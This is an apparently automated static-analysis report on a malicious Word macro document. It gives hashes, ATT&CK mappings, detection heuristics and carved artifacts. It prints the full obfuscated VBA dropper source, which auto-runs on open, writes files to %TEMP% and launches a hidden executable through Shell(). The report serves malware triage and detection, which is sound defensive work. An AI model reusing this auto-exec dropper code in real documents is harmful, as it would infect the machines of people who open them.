Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 962cc901a3731bdf…

MALICIOUS

Office (OLE)

105.5 KB Created: 2016-05-11 10:48:00 Authoring application: Microsoft Office Word First seen: 2018-01-08
MD5: d6e218e359facd32bb4821c1532e27d6 SHA-1: fdb8d78143193eb7eeda4b327021b0664a78b64b SHA-256: 962cc901a3731bdf2fa03a2b63ab8ca23b65910f633caaeaac96d2e663b0b95d
454 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1137.001 Office Application Startup: Office Application T1027 Obfuscated Files or Information T1105 Ingress Tool Transfer T1204.002 Malicious File: Malicious File

The sample is a malicious Office document containing VBA macros. The AutoOpen and Workbook_Open macros trigger the execution of a function that constructs temporary file paths and attempts to open a document named 'lh21.rtf' using Microsoft Word. Crucially, the VBA code also calls the Shell() function with a path to an embedded PE executable ('embedded_office_0000604c.exe'), indicating an intent to download and execute a second-stage payload. The presence of an embedded PE executable and the use of Shell() strongly suggest this document is a dropper.

Heuristics 15

  • OLE with Ole10Native — possible CVE-2026-21514 exploitation high CVE likely CVE_2026_21514
    Document contains a Word OLE object with Ole10Native plus executable, PE, or risky remote-link indicators. CVE-2026-21514 exploits OLE metadata validation; this stronger structure is treated as likely exploitation.
  • ClamAV: Doc.Macro.ObfuscatedChr-6203136-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.ObfuscatedChr-6203136-0
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Dim jjz As Variant
jjz = Shell(qqa, 0)
End Function
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    BHJASD = Chr(102 + 8)
Set uHhdBhd = CreateObject("" & "W" & "" & "or" & "d." & "Applicatio" & BHJASD)
uHhdBhd.Visible = bbgd
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub AutoOpen()
    YUQGHJAS = "; 1p2o'p312;l 1jkjh1k"
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    UuuHHebw
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    End Function
Sub Auto_Open()
    UnriFrot
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    TTGDFW = YuhGf(3 + 90 + mtm)
DBDDW = Environ(DOTE) + TTGDFW
JIEKR = "." & "tmp" & ""
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1834 bytes
SHA-256: 1a0ccee52de47d140b5d97d799a96c075289e5d41ba24ead2a551ba90a4837b6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
    YUQGHJAS = "; 1p2o'p312;l 1jkjh1k"
    UuuHHebw
End Sub
Sub Workbook_Open()
    UuuHHebw
End Sub
Sub UuuHHebw()
    UnriFrot
End Sub
Sub UnriFrot()
Dim bbgd As Boolean, mtm As Integer, YGEW As String
mtm = -86 + 85
DOTE = "T" + "" & "EM"
DOTE = DOTE & "P"
bbgd = False
On Error Resume Next
Dim WOIEW As String
TTGDFW = YuhGf(3 + 90 + mtm)
DBDDW = Environ(DOTE) + TTGDFW
JIEKR = "." & "tmp" & ""
FFDRRF = "" & ".rtf"
LQWDO = DBDDW

FFFNNNF = LQWDO + "lh21" + FFDRRF
SSHHDD = DBDDW & "chj3" + FFDRRF
WOIEW = DBDDW & "" & "d2" & JIEKR

UyrGaea (FFFNNNF)
UyrGaea (SSHHDD)

Module1.Tyryka (2)
BHJASD = Chr(102 + 8)
Set uHhdBhd = CreateObject("" & "W" & "" & "or" & "d." & "Applicatio" & BHJASD)
uHhdBhd.Visible = bbgd
uHhdBhd.Documents.Open (FFFNNNF)
Module1.Tyryka (2)
HYUASGD = Module1.Girow(WOIEW)
Module1.Tyryka (3)
uHhdBhd.Quit
Set uHhdBhd = Nothing
End Sub
Public Function YuhGf(jrbw As Integer)
    YuhGf = Chr(jrbw)
End Function
Public Function UyrGaea(ffee As String)
    ActiveDocument.SaveAs FileName:=ffee, FileFormat:=5 + 1
End Function
Sub Auto_Open()
    UnriFrot
End Sub




Attribute VB_Name = "Module1"
Sub Tyryka(Uhrb As Long)
vju = 174
Dim Hbhe As Long, Ehdh As Long
Ehdh = Uhrb + Timer
Hbhe = Ehdh
Do While Timer < Hbhe
dhdw = 66 * 3 * 4 * 1 * 1 * 3 * 1
Loop
vje = 712 - 589
VNHE = "1jk23 h12"
End Sub
Public Function Girow(qqa As String)
Dim jjz As Variant
jjz = Shell(qqa, 0)
End Function
embedded_office_0000604c.exe embedded-pe Office MZ+PE at offset 0x604C 83418 bytes
SHA-256: 2f0c242dd9c8fd3a85f585853e1b929d345a46ec37a2626f54b3b10e70abd827
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1524498829/Ole10Native 60614 bytes
SHA-256: 76968db65d98794ae5c5c19e859e1be96a63009cfc08fbc11dacd2159c2eb586

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